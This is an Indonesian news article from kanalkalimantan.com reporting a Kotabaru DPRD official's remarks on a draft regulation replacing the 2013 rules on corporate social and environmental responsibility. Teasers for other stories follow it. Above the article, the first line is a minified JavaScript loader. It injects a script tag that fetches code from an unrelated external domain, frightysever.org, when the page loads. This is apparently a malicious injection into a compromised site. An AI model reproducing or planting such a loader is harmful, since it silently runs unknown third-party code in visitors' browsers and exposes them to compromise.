(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KOTABARU – Rancangan Peraturan Daerah (Raperda) yang membahas tentang tanggung jawab sosial dan lingkungan perusahaan terhadap keberadaannya dinilai mempunyai peran penting dalam pembangunan ekonomi di daerah. Oleh karenanya, diperlukan kebijakan yang dapat membantu kemajuan pembangunan.
Utamanya, guna peningkatan investasi dalam hal mendorong pertumbuhan ekonomi dan pencipataan lapangan kerja.
Dengan begitu kebijakan pembangunan ekonomi harus didukung oleh komitmen perusahaan maupun pemerintah daerah.
Hal tersebut disampaikan oleh Ketua Bapemperda DPRD Kotabaru, Sokhiful Anam, dalam gelar rapat paripurna beberapa waktu lalu.
Menurut dia, tanggung jawab perusahaan tidak hanya berupa tanggungjawab ekonomi, melainkan juga berkaitan dengan program Corporate Social Responsibility (CSR).
“Kita memiliki Perda Nomor 19 tahun 2013 tentang tanggung jawab sosial dan lingkungan perseroan terbatas, hanya di dalam Perda ini lebih menitikberatkan pada aspek kebijakan pemerintah pusat dalam penyelenggaraan tanggung jawab sosial dan lingkungan perusahaan, belum mengatur terkait dengan penggunaan dana tanggung jawab sosial dan lingkungan perusahaan selain untuk kesejahteraan masyarakat dan pengurangan kemiskinan,” beber dia.
Dikatakannya, untuk tanggung jawab sosial dan lingkungan perusahaan yang telah dilaksanakan di Kotabaru belum dapat meningkatkan kesejahteraan dan kemakmuran masyarakat serta kelestarian lingkungan hidup di daerah.
Artinya, Perda Nomor 19 tahun 2013 tersebut sudah tidak sesuai dengan kebutuhan pengaturan tanggungjawab sosial dan lingkungan perusahaan berdasar ketentuan UU No 25 tahun 2007, tentang penanaman modal dan ketentuan UU No 40 tahun 2007, perseroan terbatas serta ketentuan UU No 11 tahun 2020 tentang cipta karya sehingga perlu diganti.
“Terimakasih kepada semua pihak yang sudah terlibat dan berpartisipasi dalam pembahasan pembentukan dan penyusunan Propemperda tahun 2021 ini, utamanya kepada Sekdakab Kotabaru selaku tim pembahasan Raperda Kotabaru beserta SKPD terkait yang terlibat dalam program pembentukan perda tahun 2021,” pungkasnya. (kanalkalimantan.com/muhammad)
Reporter: muhammad
Editor: Dhani
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
This website uses cookies.